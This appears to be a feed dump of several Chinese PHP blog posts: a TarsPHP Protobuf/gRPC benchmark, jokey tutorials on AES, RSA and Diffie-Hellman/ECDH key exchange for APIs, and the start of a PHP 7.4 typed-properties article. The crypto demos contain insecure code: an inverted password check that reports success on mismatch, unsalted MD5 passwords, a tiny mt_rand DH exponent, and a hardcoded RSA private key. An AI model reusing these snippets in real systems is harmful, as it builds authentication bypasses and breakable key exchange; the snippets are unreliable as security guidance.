  2. 构建actCommentPb.proto.php 文件,内容和生成server代码用的tars.proto.php内容一致,修改 withServant = false

  3. 执行:TarsPHP 新版本发布,支持 Protobuf 协议

  4. 之后在protocol/QD/ActCommentPbServer 中可以看到相关生成代码。(和Server 端代码类似,CommentObjServant.php是 proto2php生成的,其他文件是proto2php 调用 protoc 插件生成的)

  5. 和Server端类似需要添加 GPBMetadata 和 Protocol 到composer.json 的psr-4中

  6. 和Tars 调用类似,可以直接调用CommentObjServant类的相关方法和PB 服务通讯。需要注意的是 传入的 CommunicatorConfig 中的socketModel 需要设置为 4 grpc 模式

范例如下:

TarsPHP 新版本发布,支持 Protobuf 协议

和TarsGo中关于PB支持的不同

TarsGo中关于PB的支持,本质是对proto协议文件的支持,提供将proto协议文件转换为tars协议的能力,在相互调用中实际使用的是tars协议。这个服务可以和其他Tars服务相互工作。

TarsPHP中关于PB的支持,是构建了一个gRPC服务,这个服务部署在Tars平台上,参与Tars平台寻址,受Tars平台管理。这个服务使用gRPC on Http2作为网络通讯协议,使用Protobuf作为编码协议,可以和其他PB client 相互工作。

两者方向不同,不能混合使用,希望大家区分。

相关数据

我们使用相同Http服务,分别使用Tars和Pb协议和后端服务通讯并进行压测。

  • 服务器环境:2核 4G,php 7.2.16,swoole 4.4.0

  • 服务空跑指的是简单的ping到后端服务,不进行任何业务处理直接返回

  • 单次简单RPC指的是向后端服务获取弹幕数量返回一个int,数量值rand生成,并没有使用mysql count

  • 单次复杂PRC会实际向后端获取弹幕列表结构体,包含多条弹幕对象完整结构

QDPS

PB

TARS

服务空跑

3800

6200

单词简单RPC

3600

6150

单词复杂RPC

1050

1150

从压测数据来看,Tars性能比PB高出一截,但对比两者打包解包性能发现PB打包解包性能略优于Tars,导致这样结果的主要原因我认为是gRPC使用Http2作为通讯协议相比Tars的自定义通讯协议需要很多开销。
]]>
/9/20/23887.html/feed 0
我发誓这真的是最后一篇关于ECDH的文儿!(API安全加强篇四) /uncategorized/23717.html /uncategorized/23717.html#respond Thu, 08 Aug 2019 03:20:06 +0000 /?p=23717 首先是前段时间我在公众号里被人批(dui)评(gang)了,大概意思就是:你别老整那ECDH又是椭圆又是素数啥的,你就说这玩意实际项目中怎么用就完了,我们不想听那些,那些我们都懂都精通,而且你还太监了,你自己看看是不是太监了,ECDH写到上一篇明显还没完,结果到现在了还没下文,你自己说是不是太监了,你自己说。

其次是实际上本篇内容实际上和ECDH没有半毛钱关系,通篇都是DH(少了EC两个字母),不过在项目中实际应用的业务逻辑写法、道理都是一样晒儿的。你现在可以暂时认为DH就是ECDH的“ 少了两个字母版本 ”。用DH的最主要原因是啥呢,因为时间有限,我优先写了DH的常用语言库文件,目前可用,ECDH的一根毛都没有写,所以只能用DH演示。

最后是再次强调一遍,作为一篇正经的文章,我需要再次科普一下DH是啥意思。

很多都以为DH是Daemon Hunter(恶魔猎手)的简称,然而并不是。Daemon Hunter是真实名称叫做伊利丹,是个瞎子同时又是法玛丽奥(就是老鹿)的兄dei。他暗恋白虎(就是那种真的白虎)泰兰德,然而泰兰德却嫁给了老鹿,事情大概就是这么一回事。

在我们这里DH则是Diffie-Hellman的简称,二位大爷的照片我以前贴过,现在不得不再贴一遍:

上图告诉我们头发长短与职业无关,douyin上那些自以为get到程序员梗的短视频真的是LOWB到一塌糊涂。

在正式开始前之前,我还是要说明一下用DH的初衷是什么或者说这个东西是来解决什么问题的。接着上篇的故事(点击这里)说:

  • 你老板说项目非常牛逼,数据要加密,用牛逼的加密算法
  • 你就用RSA非对称加密开发测试操作猛如虎
  • 然后,一上线:CPU炸了,成绩1-5
  • 然后你找老板审批升级服务器费用,老板给了你300块并让你放心花大胆花
  • 你首先把RSA下线了,然后偷偷换成了AES对称加密,CPU不炸了
  • 然后三百块偷偷放到了自己腰包里
  • 但是AES的对称密钥你写死到客户端,被逆向就完了;如果通过服务器下发,听起来更加扯淡
  • 想了想,你拿着三百块钱组了个局儿,你带着钱,我带着陈旭,老赵带着柱子,再加上大彪,正好六人局
  • 局上我向你透露出一种方案:将AES对称密钥通过非对称方式协商出来。DH这种神奇的算法可以让你服务器和客户端在不传输该对称密钥的情况下就可以通过心有灵犀地方式各自计算出一个对称密钥,而且可以一样,避免了该密钥在网络上流通,而且你可以随意更换,过期时间定为1分钟,可谓是狠毒至极!

我们引入DH就是为了解决上面的问题。然而,DH或ECDH并不能解决中间人攻击问题,这个要搞明白了。

所以,在正式开始之前,我必须先安利我和东北大嫖客还有巨蛀以及阿尼特写的DH库,github链接是这个,下面我将利用这些DH库们进行demo演示。

https://github.com/ti-dh
(明眼人已经看出来我是来骗star的)

目前这个库提供了纯PHP、C实现的PHP扩展、Java版,列个表格吧:

先说下服务端和客户端进行协商地整体流程,非常非常简单:

整个协商流程中,只有第二步和第三步会发生数据交互。第二步是API下发p、g、server-num给客户端;第三步是客户端向API提交client-num数据;最后一步,对称加解密用的key就已经计算出来用于生产环境了。

下面我用世界上最好的语言演示一下如何使用这个鬼东西,客户端我们用什么演示呢?客户端也依然使用世界上最好的语言来演示。首先,你们把上面github里的库文件集成到你们API里,我这里集成完毕后代码如下:

API demo code:

<?php
class DhController extends BaseController{

  private $dh = null;

  // 将DH库初始化进来呀...
  public function init() {
    $this->dh = new Dh();
  }

  // 这就是上图中的第二步:客户端访问这个API获取g p 和 server-num
  public function getdhbasedataAction() {
    $ret = $this->dh->getdhbasedata();
    echo json_encode( $ret );
  }

  // 这就是上图中的第三步:客户端通过这个api提交client-num参数
  public function postdhclientdataAction() {
    if ( $this->getRequest()->isPost() ) {
      if ( empty( $_POST['client_number'] ) || !is_numeric( $_POST['client_number'] ) ) {
        exit( json_encode( array(
          'code'    => -1,
          'message' => 'wrong parameters',
        ) ) );
      }
      $ret = $this->dh->postdhclientdata( $_POST );
      echo json_encode( array(
        'key' => $ret,
      ) );
    }
  }

}

Client demo code:

<?php
require __DIR__ . '/vendor/autoload.php';
use \Curl\Curl;
$curl = new Curl();
// 初始化客户端数据,随机一个即可~
$client_number = mt_rand( 100000, 999999 );
// 1、第一步,获取服务器的p、g和server_number
$ret = $curl->get( 'https://xxxx.ooo/dh/getdhbasedata' );
$ret = json_decode( $ret, true );
$p = $ret['p'];
$g = $ret['g'];
$server_number = $ret['server_number'];
// 2、第二步,根据服务器获取到的数据计算出client-number
$process_client_number = gmp_powm( $g, $client_number, $p );
// 3、第三步,将计算过后的client-number发送给服务器
// 那个demo里已经有完美的演示了,多看代码
$ret = $curl->post( 'https://xxxx.ooo/dh/postdhclientdata', array(
  'client_number' => gmp_strval( $process_client_number ),
) );
$ret = json_decode( $ret, true );
// 4、第四步,根据server-number,client-number和p 计算出公共密钥K
$key = gmp_powm( $server_number, $client_number, $p );
echo PHP_EOL."DH非对称密钥产生交换:".PHP_EOL;
echo 'client计算出的public key : '.$key.PHP_EOL;
echo 'server计算出的public key : '.$ret['key'].PHP_EOL.PHP_EOL;

客户端文件保存client.php,然后php client.php执行一下,结果你们感受一下:

一样有没有?!计算出来的都一样,有没有?!!

上图中那么一坨长的不能整的让人看了就觉得恶心呕吐的数字就是API和客户端分别计算出来的对称加解密的密钥了,请注意实际使用过程中,服务器千万不要把这个数据返回给客户端,demo里这么做就是为了演示而已,用的时候自己也需要动动脑子的。

然而,事情往往不会说就是这么简单就可以了,如果在生产环境使用,还是需要继续完善一些细节的。

  • 第一个问题就是有些想的比较多的宝贝儿们会不同的两个客户端计算出来的key会不会一样?可能性非常非常非常小
  • 第二个问题就是一般客户端登陆的用户都有自己的token或uid之类的,API这里在与一个客户端协商出一个key后可以以 “ token:key ” 格式把key存储到redis中,然后给一个有效时间比如30分钟;客户端也将key保存到手机内存中设置一个30分钟有效期。每次使用key进行加解密前都验证一下是否过期,如果过期了就重新走一遍前面的协商流程

我发誓,这是关于DH或ECDH的最后一篇文章了,以后我再也不会写任何与这两个英文缩写相关的东西了,我说都是真的,我保证说到做到。

]]>
/uncategorized/23717.html/feed 0
关于PHP加解密之终扯到ECDH了(API安全加强篇三) /9/20/23715.html /9/20/23715.html#respond Thu, 08 Aug 2019 03:16:36 +0000 /?p=23715 其实,前面两篇翻来覆去只为叨逼叨叨逼叨两件事情:

  • 对称加解密,典型算法有AES、DES、3DES等等
  • 非对称加解密,典型的算法有RSA、DSA、ECDH等等

但是,我知道大家最讨厌在看这种文章的时候冒出来的一坨“椭圆曲线”、“素数”、“质数”等等这样的玩意,反正看也看不懂,理解也理解不了,背也背不过,所以我索性就不写这些玩意,一点儿都不写,不装任何逼(然而实际上我背过了,我最近一直在搞线性代数,所以对数学比原来稍微敏感了一些)。

写到这里后,就有刁民、php泥腿子自以为已经掌握了高科技,随便从github上扒两个库下来跑了跑test就开始四处装逼,声称自己精通对称加密算法和非对称加密算法,尤其是在面试的时候,上去就是跟面试官一顿糊弄,糊弄住了就要5万,糊弄不了要5千。然而我要告诉你的是,你应该接继续往下看,这样的话你在面试的时候,糊弄住了就可以张口要8万,糊弄不了也能最低要8千!比原来要5000整整多了3000!而且我提供的这份装逼指南还是免费的!

今天我们从一个实际需求作为出发点,比如你是API开发人员(当然了,作为只有十来个人的小公司,你还得兼职运维,不过工资只按开发算,运维的活儿算是你友情赞助给老板的),然后老板兼PM向你提出了一个比较严峻的问题,大概意思就是“公司的项目是个非常牛逼的项目,一年后公司是要上市的,你必须要加密了数据,让BAT和TMD都无法抄袭我们!然后你就能买车买房!”,你表示十分认可。由于你已经看过了我前面两篇文章,再加上老板一再强调“我们这个是牛逼的项目,迟早要上市”,所以你就准备用高安全性的非对称加密来解决这个问题。

具体做法就是服务器生成一对公私钥,然后再生成一对公私钥给所有客户端公用。比如用户登陆API,接口文档大概如下:

API : https://www.so.com/api/user/login
METHOD : POST
PROTOCOL : 将数据以JSON形式,全部放入到http body体中,key叫做mzip
DATA : {
  'username' => 'xitele',
  'password' => 'qiangdadaoniyongyuancaibuchulaishiduoshao'
}

然后客户端执行登陆的伪代码如下:

var username string = 'xitele'
var password string = md5('123456')
// 将数据生成json
var data = jsonize( hashMap(
  'username' : username,
  'password' : password
) )
// 用服务器公钥,将数据加密
var encryptData = RSA.encrypt( '服务端的公钥', data )
// 再次封装数据为json
var lastJson = jsonize( hashMap(
  'mzip' => encryptData
) )
// 提交数据
http.post( 'https://www.so.com/api/user/login', lastJson, function() {
  // ... ... do something ...
} )

服务器端使用世界上最好的语言来实现的,所以代码你会觉得十分眼熟:

<?php
$jRawData = file_get_contents( 'php://input' );
$aRawData = json_decode( $jRawData, true );
// 使用服务器私钥,对mzip中的加密数据进行解密
$jDecryptData = RSA::decrypt( '服务器的私钥', $aRawData['mzip'] );
// 解密后的数据实际上就是 {"username":"xitele","password":"e10adc3949ba59abbe56e057f20f883e "}
$aDecryptData = json_decode( $jDecryptData, true );
// 进入到我们最熟悉的增删改查流程!
$pdo = new PDO();
$sth = $pdo->prepare( "select * from user where username=:username" );
$sth->bindParam( ':username', $aDecryptData['username'], PARAM_STR );
$pdo->execute();
$aUser = $pdo->fetch();
if ( $aUser['password'] != $aDecryptData['password'] ) {
  echo json_encode( array(
    'code' => 0,
    'msg' => '登陆成功'
  ) );
}
else {
  echo json_encode( array(
    'code' => 10002,
    'msg' => '登陆失败'
  ) );
}

上线后,发现倒也没啥大问题了,就是明显服务器CPU负载特别高,客户端也感觉有点儿卡。很明显,非对称加密的CPU极大的消耗成了一种瓶颈。于是你找老板申请服务区费用,老板当场表示非常理解,大手一挥就给你批了300块钱并表示随意挥霍,把服务器升级成最牛逼的服务器。

当然了,都跟我学习了这么久了你应该马上就意味到300块代表着什么,300块顶多代表能组两个局儿… …

当然了,API那里也好交代,全线降级为AES对称,CPU瞬间就下来了,又不是不能用.. …

当然了,300块组个五人局儿应该还是可以的,除了你和我,再拉上柱子跟老赵,最后再带上陈旭,局儿上除了吃饭,就额外讨论一下关于这个问题的解决方案。

局儿后,我神神秘秘地告诉你说“这特么简单,我给你讲,你服务器先随机生成一个AES对称加密用的密钥,然后利用客户端的RSA公钥加密后传给客户端,客户端再通过自己的RSA私钥解密得到这个AES对称密钥,然后再用这个AES对称密钥进行后续的加解密即可,然后你可以给这个AES密钥设定一个有效期,比如五分钟,当过期后,就再次利用上面的流程申请新的AES密钥即可!这样,不仅保证了AES密钥的安全,还能解决了性能问题!”

铺垫这么长,终于能扯出来今天的讨论关键点了:密钥协商/交换!这就是我们今天的核心话题了。

先说下为什么会出现密钥协商和交换这种玩意,其实就是为了避免密钥在网络上的传输被劫持导致的安全问题,前两句话的潜台词就是“这个世界上存在着一种即便我不告诉你,你也能知道我想告诉你什么的心有灵犀解决方案”。

密钥协商交换一般常用的有如下几种方案:

  • 利用RSA等非对称加密技术进行交换,也就是300块的局儿上那个方案
  • 利用专门伺候密钥交换需求的交换算法,比如DH算法,全称叫做Diffie-Hellman密钥交换。Diffie和Hellman分别是两个大叔的名字(注意,此二位是数学家),是他们合伙搞出来的这个算法,DH算法先于RSA出现。

其中,利用非对称加密的方案大概就是我前面说的那样,伪代码已经展示过了。那么DH到底是个什么玩意呢?

下面我们玩一个比较简单的数字游戏:

1、元首和古德里安都同时选择100这个数字,其他人知不知道无所谓
2、元首随机出了一个数字9,然后将9乘以数字100,得到900,其他人能不能知道无所谓
3、古德里安随机出了一个数3,然后将3乘以数字100,得到300,其他人能不能知道无所谓
4、元首将900扔给古德里安
5、古德里安将300扔给元首
到这里后,元首手里有的数据有100、9、300,古德里安手里的数据有100、3、900,然后两个人此时只需要默默地做下面这一步:
元首:9 * 300 = 2700
古德里安:3 * 900 = 2700
OK了,就2700了

双方都在仅仅是远远地确认了一下眼神,说了一句话(彼此交换300和900),就已经同时得到2700这个相同的数字。辣么,2700就是双方后面进行通信时候对数据进行加密的密钥了。同样,双方可以为这个密钥算一个过期时间,比如五分钟后,然后过期后重新协商出一个新的即可!而且,即便有其他人知道了双方选择的是100,也知道了元首给古德里安传了900,也知道了古德里安给元首穿了300,然而并没有什么卵用,因为他还是不知道对方最终使用的密钥(也就是2700)是多少。

当然了,现实中真正的DH算法选择公共数字、随机数字可不是这么简单的,而且双方最终计算这个密钥的时候也不会像上面那个例子中那么轻松简单做一下乘法而已。

具体人家怎么算得,我就不写了,反正网上到处都有,而且无论我写出来还是不写出来,反正你们都不看,毕竟,这玩意是数学家要搞的玩意。

RSA的库前面我从github上扒过,也test过了,所以RSA就不演示了。然而,DH的咱们一起从github上扒一个下来玩玩来验证一下我们刚才讲的简单理论。

PHP的一个DH库,GITHUB链接:https://github.com/jcink/diff…

<?php
require_once 'diffie-hellman.php';
$dh = new DiffieHellman();

将上述代码保存为index.php,然后php index.php 32执行一下,结果如下,你们感受一下:

我们看到这个库顺带打印了一坨log,作为从来不研究底层的广大泥腿子来说,我们只需要关注最后一行“Shared Key : 101451040”,这个就是服务端和客户端协商出来的密钥了,也就是意味着后面API的通信过程中使用101451040对数据加解密即可。

好了,以上是DH算法。其实,圈里那些仁兄在看到今天标题中含有DH的时候心里就应该有数了,这傻逼天天在微信群里安利ECDH,今儿特么终于看到DH两个字母了,总算有点儿眉毛了。辣么,我天天在群里安利的ECDH到底是什么玩意。

具体原理怎么回事,反正我这次是真是连背都背不过了,不过,你可以简单认为ECDH是DH的升级版本,毕竟多了两个字母。其实ECDH是ECC算法和DH算法二合一体,妈蛋,又特么冒出来一个ECC,好了好了,就当我没说。

然后还是老套路,我们从github上扒一个库下来简单跑一下test,这样以后就可以出去装逼要8万工资了,传送门:https://github.com/Querdos/EC…

<?php
require_once './autoloader.php';
use Querdos\lib\ECDHCurve25519;

$xitele   = new ECDHCurve25519();
$gudelian = new ECDHCurve25519();

$xitele->computeSecret( $gudelian->getPublic() );
$gudelian->computeSecret( $xitele->getPublic() );

// shareKey1 和 shareKey2 就是协商出来的密钥
$shareKey1 = $xitele->getSecret();
echo $shareKey1.PHP_EOL;
$shareKey2 = $gudelian->getSecret();
echo $shareKey2.PHP_EOL;

// 我们用gmp cmp来对比是否为同一个密钥
if ( 0 == gmp_cmp( $shareKey1, $shareKey2 ) ) {
  echo "一样".PHP_EOL;
}
else {
  echo "不一样".PHP_EOL;
}

// 除此之外,这个ecdh库比dh那个库多了一个验证数据签名验证,可以检验数据是否被篡改!
$msg = "hello world";
$signature = $xitele->signMessage( $msg );
if ( $gudelian->verifySignature( $signature, $xitele->getPublic(), $msg ) ) {
  echo "验证数据签名成功".PHP_EOL;
}
else {
  echo "验证数据签名失败".PHP_EOL;
}
exit;

将代码保存为index.php,然后php index.php执行结果如下图所示:

通过上面代码我们可以看出来,可以直接背诵一个结论,就是DH和ECDH都可以实现密钥协商交换,但是ECDH还可以对数据进行签名,另一方可以对数据进行验签,从而可以判断出数据在传输过程中是否被篡改!

好了,念念已久的ECDH终于入讲了!以后我不会再在群里再叨叨这个了,祝你们幸福。

]]>
/9/20/23715.html/feed 0
关于PHP加解密的懒汉入门篇(API安全加强篇一) /9/20/23693.html /9/20/23693.html#respond Thu, 08 Aug 2019 02:00:34 +0000 /9/20/23693.html
    1. 懒汉
    2. 入门

    这两点就足以说明这篇文章不想要着有什么高端大气的技术内容,我跟你讲,全是水。不可能有什么质数素数、椭圆曲线加密、迪菲-赫尔曼什么的,不可能有的。

    首先我不懂,其次,反正你们也不懂。

    不过这里还是要先说一点儿,就是很多泥腿子一直拿md5当加密算法来看待,但实际上md5是一种信息摘要算法(其实就是哈希),不是加密算法,因为md5不可逆,但是加解密是一个可逆的过程,所以以后这种低级错误还是不要犯的为好。

    加密技术一直是技术圈中的一个独特领域和分支,其一些原理并不是随随便便就可以理解的来的。如果没有良好的数学底子,怕是很难研究下去。但是,作为一篇水文,不研究原理,仅仅来用一用来实践一把,还是没什么大问题的。

    加密分为两大类:

    • 对称加密,常见算法有DES、3DES、AES等等,据说AES是比较屌的最新最常用的算法
    • 非对称加密,RSA、DSA、ECDH等等

    对称加密用粗话说就是用同一个密钥对信息加解密。比如元首要操作东线战场了,给古德里安发了一段电报,大概意思就是“你给我闪开,让我操作!立马南下打基辅!”,但是元首又怕朱可夫给看到这段消息,于是元首就用了一个强壮的密钥123456来加密这段话,然后这段话就变成akjdslfjalwjglajwg了。古德里安收到这坨乱七八糟的玩意后,用123456来解密一下,得到明文“你给我闪开,让我操作!立马南下打基辅!”,然而朱可夫由于抓破脑壳也想不到这个超级密钥123456,所以朱可夫注定一脸懵逼,最终导致基辅60万苏军被奸!但是这里面有一个问题就是元首是如何告诉古德里安私钥是123456的。

    1. 两个人提前就商量好了,1941年6月22日的前一天偷偷商量好了。。。
    2. 两个人不是提前商量好的,而是古德里安到东线后,元首通过打电话、发电报、QQ、微信。。。 。。。

    对于朱可夫来说,如果对方采用了方案1,那么他也没啥好办法,只能等潜伏在古德里安身边的特工卧底返回123456。由于密钥被暴露了,所以必须换新的密钥,元首这会儿只能走途径2告诉古德里安新的密钥,这会儿逗逼的事情来了,如何对密钥进行加密。答案是不能,此时问题陷入到欲要加密,必先加密的矛盾中。所以,这个密钥是注定要通过明文传输了,只要是明文传输,朱可夫就一定有机会把密钥搞到手。

    《关于PHP加解密的懒汉入门篇(API安全加强篇一)》

    非对称加密就是解决这个难题而生。密钥换来换去还想不暴露,扯犊子。还是元首和古德里安,这会儿他俩分别生成一对自己的公钥和私钥。这里需要强调的是:

    1. 公钥和私钥是成双成对生成的,二者之间通过某种神秘的数学原理连接着,具体是啥,我也不知道
    2. 公钥加密的数据,只能通过相应的私钥解密;私钥加密的数据,只能通过对应的公钥解密
    3. 公钥可以颁发给任何人,然而私钥你自己偷偷摸摸藏到自己裤裆里,别弄丢了

    这会儿就简单了,元首把自己公钥给古德里安,然后古德里安把自己公钥给元首,然后都偷偷摸摸保存好自己的私钥。有一天,元首告诉古德里安“你丫别干了,天天不听我操作!”,然后用古德里安颁发的公钥加密好了,然后让空军到东线直接仍传单,扔的满地都是,古德里安看到后从裤裆里拿出自己的私钥解密,然后就立马请假回家休息了,回去前用元首的公钥加密了如下消息“傻逼,老子还不伺候了!”,然后让空军回去撒了柏林一地,元首看到后从裤裆里拿出自己的私钥一解密:“卧槽。。。”。虽然这双方都是大大咧咧的发传单,但是朱可夫只能在旁边一脸懵逼、生无可恋。因为用于解密的私钥从来不会在外流通,所以,泄露的可能性是0。

    《关于PHP加解密的懒汉入门篇(API安全加强篇一)》

    但是,有一点是值得说明,那就是无论是对称加密还是非对称加密,都顶不住用机器是强行暴力猜解私钥。一年不行两年,两年不行二十年,二十年不行一百年,总是能猜出来的,这是没有办法的一件事情。大家可以搜一搜关于768bit RSA被KO的事件,是吧。

    下面我们从gayhub上扒了一个对称加密的库下来,尝试一把aes对称加密算法,地址如下:

    https://github.com/ivantcholakov/gibberish-aes-php

    直接git clone到目录中,然后测试代码如下:

    <?php
    require 'GibberishAES.php';
    $pass   = '123456';
    $string = '你好,古德里安,我是希特勒,你赶紧给我滚回来...';
    GibberishAES::size(256);
    $encrypted_string = GibberishAES::enc( $string, $pass );
    $decrypted_string = GibberishAES::dec( $encrypted_string, $pass );
    echo PHP_EOL."加密后的:".$encrypted_string.PHP_EOL;
    echo "解密后的:".$decrypted_string.PHP_EOL.PHP_EOL;

    保存为test.php,运行一下结果如下:

    《关于PHP加解密的懒汉入门篇(API安全加强篇一)》

    然后我们将上面代码反复运行100,000次,看看耗费多长时间:

    require 'GibberishAES.php';
    $pass   = '123456';
    $string = '你好,古德里安,我是希特勒,你赶紧给我滚回来...';
    GibberishAES::size(256);
    $start_time = microtime( true );
    for( $i = 1; $i <= 100000; $i++ ) {
      $encrypted_string = GibberishAES::enc( $string, $pass );
      $decrypted_string = GibberishAES::dec( $encrypted_string, $pass );
    }
    $end_time = microtime( true );
    echo "一共耗时:".( $end_time -  $start_time ).PHP_EOL;

    保存为test.php,运行一下结果如下:

    《关于PHP加解密的懒汉入门篇(API安全加强篇一)》

    然后,我们再去gayhub上扒一个非对称加密的library,比如这个:

    https://github.com/vlucas/pik…

    我们把代码扒下来,然后自己写个demo试一下,如下:

    <?php
    $publicKey = '
    -----BEGIN PUBLIC KEY-----
    MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA7o9A47JuO3wgZ/lbOIOs
    Xc6cVSiCMsrglvORM/54StFRvcrxMi7OjXD6FX5fQpUOQYZfIOFZZMs6kmNXk8xO
    hgTmdMJcBWolQ85acfAdWpTpCW29YMvXNARUDb8uJKAApsISnttyCnbvp7zYMdQm
    HiTG/+bYaegSXzV3YN+Ej+ZcocubUpLp8Rpzz+xmXep3BrjBycAE9z2IrrV2rlwg
    TTxU/B8xmvMsToBQpAbe+Cv130tEHsyW4UL9KZY1M9R+UHFPPmORjBKxSZvjJ1mS
    UbUYN6PmMry35wCaFCfQoyTDUxBfxTGYqjaveQv4sxx0uvoiLXHt9cAm5Q8KJ+8d
    FwIDAQAB
    -----END PUBLIC KEY-----
    ';
    $privateKey = '
    -----BEGIN RSA PRIVATE KEY-----
    MIIEpAIBAAKCAQEA7o9A47JuO3wgZ/lbOIOsXc6cVSiCMsrglvORM/54StFRvcrx
    Mi7OjXD6FX5fQpUOQYZfIOFZZMs6kmNXk8xOhgTmdMJcBWolQ85acfAdWpTpCW29
    YMvXNARUDb8uJKAApsISnttyCnbvp7zYMdQmHiTG/+bYaegSXzV3YN+Ej+Zcocub
    UpLp8Rpzz+xmXep3BrjBycAE9z2IrrV2rlwgTTxU/B8xmvMsToBQpAbe+Cv130tE
    HsyW4UL9KZY1M9R+UHFPPmORjBKxSZvjJ1mSUbUYN6PmMry35wCaFCfQoyTDUxBf
    xTGYqjaveQv4sxx0uvoiLXHt9cAm5Q8KJ+8dFwIDAQABAoIBAHkWS3iHy/3zjjtY
    TV4NL8NZqO5splGDuqXEMbKzenl3b8cnKHAxY/RVIQsh3tZb9CV8P/Lfj1Fi+nLt
    a7mAXWcXO6aONMkmzI1zQ2NL3opoxTRc+GAWd0BW5hcoMBK1CD+ciHkLqAH5xsFc
    UFxSc5qfTkb79GMlQZYD/Hk2WwHyj7hAkyxip4ye1EOnH5h8H7vIUjwp+H6Rmt5w
    FTiVJbokhzwiczChUJVWgnowegL/qFV+yNfHGGKqVdIQfKdCsHR6jAuKCww5QniN
    qDEi/M2Az0R4qfVmf38uMvOJTWaxp08JV4qRyNdh6hhbj+nY1EZ8haOiC7tjz2mJ
    XqqKQfkCgYEA95yb5ezTBF4Pbr589OnU6VFdM88BCrKKvSWE8D1fzZZTsXur5k/x
    cOwfio4RkmJwMnjuzZN6nvL5QddfcmPWQAoepHR8eA9yhIz57YWgrqE9ZXI8DgMy
    SFuy5EkV5vudjDIr7kBXaGuUh3ErZfglyrV/rUfydGdTWyY8phMq/6MCgYEA9qQj
    7kb5uyU8nrXoDqKPpy6ijEpVilgy4VR7RuB2vMh74wKI1QQYED+PxfcHe5RP8WGF
    Bl+7VnmrGka4xJWeN7GKW4GRx5gRAzg139DXkqwPlXyM3ZR3pLd8wtbxTmJrcPby
    A6uNRhGPpuyhDs5hx9z6HvLoCs+O0A9gDaChM/0CgYEAycRguNPpA2cOFkS8l+mu
    p8y4MM5eX/Qq34QiNo0ccu8rFbXb1lmQOV7/OK0Znnn+SPKITRX+1mTRPZidWx4F
    aLuWSpXtEvwrad1ijuzTiVk0KWUTkKuEHrgyJplzcnvX3nTHnWXqk9kN9+v83CN/
    0BVji7TT2YyUvPKEeyOlZxcCgYABFm42Icf+JEblKEYyslLR2OnMlpNT/dmTlszI
    XjsH0BaDxMIXtmHoyG7434L/74J+vQBaK9fmpLi1b/RmoYZGFplWl/atm6UPj5Ll
    PsWElw+miBsS6xGv/0MklNARmWuB3wToMTx5P6CTit2W9CAIQpgzxLxzN8EYd8jj
    pn6vfQKBgQCHkDnpoNZc2m1JksDiuiRjZORKMYz8he8seoUMPQ+iQze66XSRp5JL
    oGZrU7JzCxuyoeA/4z36UN5WXmeS3bqh6SinrPQKt7rMkK1NQYcDUijPBMt0afO+
    LH0HIC1HAtS6Wztd2Taoqwe5Xm75YW0elo4OEqiAfubAC85Ec4zfxw==
    -----END RSA PRIVATE KEY-----
    ';
    require 'RSA.php';
    $rsa       = new RSA( $publicKey, $privateKey );
    $data      = '你好,古德里安,我是希特勒,你赶紧给我滚回来...';
    $encrypted = $rsa->encrypt( $data );
    $decrypted = $rsa->decrypt( $encrypted );
    echo "加密过后的:".$encrypted.PHP_EOL;
    echo "解密过后的:".$decrypted.PHP_EOL;

    保存为test.php运行一下,如下图所示:

    《关于PHP加解密的懒汉入门篇(API安全加强篇一)》

    然后我们将上面代码反复运行100,000次,看看耗费多长时间,这里只贴关键部分代码:

    <?php
    require 'RSA.php';
    $rsa       = new RSA( $publicKey, $privateKey );
    $data      = '你好,古德里安,我是希特勒,你赶紧给我滚回来...';
    $start = microtime( true );
    for( $i = 1; $i <= 100000; $i++ ) {
      $encrypted = $rsa->encrypt( $data );
      $decrypted = $rsa->decrypt( $encrypted );
    }
    $end = microtime( true );
    echo "一共耗时:".( $end - $start ).PHP_EOL;

    然后,运行结果如下图所示(实际上由于等待时间太长了,我索性去刷牙洗脸了):

    《关于PHP加解密的懒汉入门篇(API安全加强篇一)》

    不用惊讶,钛合金狗眼是否已被亮瞎?瞎也没用,这是真的,代码也没有问题,就是要这么长时间,没有办法。

    那么问题来了,挖掘机学… …对称加密不安全,非对称加密要人命,有没有什么好的办法?

    废话,当然有… …

]]>
/9/20/23693.html/feed 0
深入PHP 7.4之类型属性实例详解 /9/20/23694.html /9/20/23694.html#respond Thu, 08 Aug 2019 02:00:34 +0000 /9/20/23694.html 根据PHP RFC日程,PHP 7.4预期将会在今年11月份,当然接下来PHP 8被也已经上了历程。7.4将至,PHP 8可期!那么即将到来PHP 7.4有啥新特性和功能呢?本文以虫虫以类型方面的增强来予以介绍和大家一起学习。

深入PHP 7.4之类型属性实例详解

概述

PHP 7.4为了增强类型新增加了类型化的类属性,并对PHP的类型系统进行了重大改进。当然这些变化都是可选功能,是完全向前对老版本兼容,不会破坏以前的老代码。新的类型特性:

从PHP 7.4开始支持。

仅在类中可用,并且需要访问修饰符:public,protected或private或var。

允许使用除了void和callable以外的所有类型。

其表现如下例:

深入PHP 7.4之类型属性实例详解

Uninitialized

在上面的例子中,首先映入我们眼帘的是:

class Foo{public int $bar; } $foo = new Foo;

即使创建Foo对象后$bar的值不是整数,PHP只会在访问$bar时抛出错误:

var_dump($foo->a);Fatal error: Uncaught Error: Typed property Foo::$barmust not be accessed before initialization

从错误消息可以得出,有一种新的”可变状态”:uninitialized。

如果$bar没有类型,则其值将为null。类型可以是空值,无法确定是否设置了类型化的可空属性,或者忘记设置了。所以新添加了”uninitialized”这个新类型加以区别。

关于uninitialized,主要注意:

无法访问未初始化的属性,如果坚持要访问会抛出致命错误。

在访问属性时会检查未初始化状态,所以即使其类型不可为空,也可以创建具有未初始化属性的对象。

可以在读取之前写入未初始化的属性。

对类型化属性使用unset将使其未初始化,取消设置无类型属性将使设置为null。

下面例子中在构造对象后设置未初始化的,不可为空的属性,是有效的:

class Foo{public int $a; } $foo = new Foo; $foo->a = 1;

虽然只是读取属性值时检查未初始化状态,但在写入时会进行类型验证。所以可以确保不会被赋予错误类型的属性值。

默认值和构造函数

再来看看如何初始化类型值。在标量类型的情况下,可以提供默认值:

class Foo { public int $bar = 4; public ?string $baz = null; public array $list = [1, 2, 3]; }

注意,如果类型实际上可以为空,则只能使用null作为默认值。可能看起来很明显,但是参数默认值存在一些遗留行为,其中允许以下内容:

function passNull(int $i = null){ /* … */ } passNull(null);

好消息是,类型属性不允许这种令人困惑的行为。

另请注意对对象或类类型的默认值是不可设置的。应该使用构造函数来设置其默认值。

初始化类型值的显而易见的地方当然是构造函数:

class Foo{ private int $a; public function __construct(int $a) { $this->a = $a; } }

